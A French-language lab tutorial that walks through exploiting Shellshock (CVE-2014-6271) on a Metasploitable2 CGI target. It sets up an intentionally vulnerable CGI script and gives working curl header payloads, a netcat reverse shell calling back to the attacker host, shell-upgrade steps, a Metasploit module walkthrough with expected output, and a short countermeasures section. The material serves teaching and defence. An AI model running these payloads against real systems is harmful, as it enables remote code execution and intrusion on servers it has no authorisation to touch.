Un laboratoire de démonstration moderne et complet pour CVE-2014-6271 (Shellshock), comprenant l'architecture, les étapes d'exploitation, l'utilisation de Burp Suite, les shells inversés, les contre-mesures et une antisèche complète de commandes.
Shellshock (CVE-2014-6271) est l'une des vulnérabilités d'exécution de code à distance les plus influentes jamais découvertes. Cette faille affecte Bash et permet aux attaquants d'exécuter des commandes arbitraires en injectant simplement des payloads conçus dans des variables d'environnement.
Ce guide fournit une démonstration complète et reproductible utilisant :
Il est conçu pour l'enseignement, la recherche, la formation et la sensibilisation générale à la cybersécurité.
| Composant | Rôle | OS | Adresse IP | Services clés |
|---|---|---|---|---|
| Kali Linux | Attaquant | Kali Linux (latest) | 192.168.1.4 | curl, Burp Suite, Netcat |
| Metasploitable2 | Serveur cible vulnérable | Ubuntu Linux (MSF2) | 192.168.1.5 | Apache 2.2, CGI scripts, Bash |
| Apache mod_cgi | Exécution de scripts | S'exécute sur MSF2 | n/a | Expose Bash via CGI |
| shellshock.sh | Point d'entrée vulnérable | Bash CGI | n/a | Affiche les variables d'environnement |
Cette configuration simple à deux nœuds reflète de nombreux déploiements hérités encore présents dans les systèmes industriels et IoT.
Sur Metasploitable2 :
sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
Testez le script depuis Kali :
curl http://192.168.1.5/cgi-bin/shellshock.sh
Vous devriez voir les variables d'environnement affichées.
Shellshock se produit lorsque Bash analyse incorrectement des variables d'environnement qui ressemblent à des définitions de fonctions.
Une variable malveillante telle que :
() { :; }; /bin/bash -c "id"
amènera Bash à exécuter la commande après la définition de la fonction — même si la fonction elle-même n'est jamais invoquée.
Les applications CGI sont particulièrement vulnérables car les en-têtes HTTP sont automatiquement transmis aux scripts en tant que variables d'environnement.
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
La sortie devrait inclure :
Vulnerable
uid=33(www-data)
Cela confirme l'exécution de code à distance.
Visitez :
http://192.168.1.5/cgi-bin/shellshock.sh
Envoyez la requête au Repeater.
Remplacez l'en-tête User-Agent par :
User-Agent: () { :; }; echo; echo BurpTest; /bin/bash -c "id"
Vous devriez voir :
BurpTest
uid=33(www-data)
Burp Suite confirme la vulnérabilité de manière visuelle et éducative.
Démarrez le listener sur Kali :
nc -lvnp 4444
Déclenchez le shell inversé via le script CGI :
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
Un shell se connectera en retour à Kali.
À l'intérieur du shell inversé :
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Suspendre la session :
Ctrl + Z
Sur Kali :
stty raw -echo; fg
Appuyez sur Entrée.
Vous avez désormais :
┌────────────────────────┐
│ Attacker (Kali) │
│ 192.168.1.4 │
└───────────┬────────────┘
│
1. Malicious HTTP Header (Shellshock)
│
▼
┌──────────────────────────┐
│ Apache Web Server (CGI) │
│ 192.168.1.5 │
└───────────┬──────────────┘
│
2. Header → CGI Environment Variable
│
▼
┌──────────────────────────┐
│ Bash (Vulnerable) │
└───────────┬──────────────┘
│
3. Injected Command Executes
│
▼
┌─────────────────────────┐
│ www-data Shell Access │
└───────────┬─────────────┘
│
4. Reverse Shell → Kali
│
▼
┌──────────────────────────┐
│ Full Interactive TTY │
└──────────────────────────┘
Une visite visuelle des étapes clés de l'attaque.
| Description | Image |
|---|---|
| Scan Nmap + sortie du test Shellshock | ![]() |
| Burp Suite – Requête Shellshock initiale | ![]() |
| Burp Suite – Injection du payload / en-tête | ![]() |
| Shell inversé reçu sur Kali (nc) | ![]() |
Mettez à jour vers une version qui gère correctement l'analyse des fonctions.
Le CGI hérité introduit un risque systémique inutile.
Supprimez les motifs suspects tels que :
() { :; };
Restreignez les permissions de l'utilisateur du serveur web (www-data).
Empêche les shells inversés et l'exfiltration de données.
Les signatures WAF modernes détectent Shellshock immédiatement.
Contient les processus Bash et bloque les comportements non intentionnels.
Utilisez des outils tels que :
http-shellshock.nse)sudo su
cd /usr/lib/cgi-bin/
cat << 'EOF' > shellshock.sh
#!/bin/bash
echo "Content-type: text/html"
echo
echo "<pre>"
env
echo "</pre>"
EOF
chmod +x shellshock.sh
a2enmod cgi
service apache2 restart
curl http://192.168.1.5/cgi-bin/shellshock.sh
curl -H 'User-Agent: () { :; }; echo; echo Vulnerable; /bin/bash -c "id"' \
http://192.168.1.5/cgi-bin/shellshock.sh
nc -lvnp 4444
curl -H 'User-Agent: () { :; }; /bin/bash -c "nc 192.168.1.4 4444 -e /bin/bash"' \
http://192.168.1.5/cgi-bin/shellshock.sh
À l'intérieur du shell :
python -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
Suspendre :
Ctrl + Z
Sur Kali :
stty raw -echo; fg
Appuyez sur Entrée.
Metasploit offre un moyen professionnel et automatisé d'exploiter Shellshock en utilisant le module intégré :
exploit/multi/http/apache_mod_cgi_bash_env_exec
Cette méthode est rapide, fiable et offre un staging automatique de payload (par exemple, Meterpreter).
msfconsole
search shellshock
Vous devriez voir (entre autres) :
exploit/multi/http/apache_mod_cgi_bash_env_exec Apache mod_cgi Bash Environment Variable Code Injection (Shellshock)
auxiliary/scanner/http/apache_mod_cgi_bash_env Apache mod_cgi Bash Environment Variable Injection (Scanner)
use exploit/multi/http/apache_mod_cgi_bash_env_exec
Définir l'IP cible :
set rhosts 192.168.1.5
Définir le chemin CGI vulnérable :
set targeturi /cgi-bin/shellshock.sh
Définir votre IP Kali :
set lhost 192.168.1.4
Définir éventuellement le port d'écoute :
set lport 4444
Vérifiez :
options
Vous devriez voir :
RHOSTS 192.168.1.5
TARGETURI /cgi-bin/shellshock.sh
LHOST 192.168.1.4
LPORT 4444
METHOD GET
HEADER User-Agent
CVE CVE-2014-6271
run
En cas de succès :
[*] Started reverse TCP handler on 192.168.1.4:4444
[*] Command Stager progress - 100.00%
[*] Sending stage ...
[*] Meterpreter session 1 opened ...
sessions -i 1
Vous avez désormais :
meterpreter >
shell
Puis :
id
hostname
Résultat attendu :
uid=33(www-data) gid=33(www-data)
metasploitable
Vous avez obtenu l'exécution de commandes à distance avec Metasploit et Shellshock.
Cette démonstration montre comment Shellshock peut être exploité en utilisant une simple manipulation d'en-têtes HTTP, des shells inversés, l'exécution de scripts CGI et l'automatisation Metasploit. Bien qu'âgé de plus d'une décennie, Shellshock reste une leçon importante en matière de :
Fait avec beaucoup d'amour par :
Haitham d'Oman ❤️🇴🇲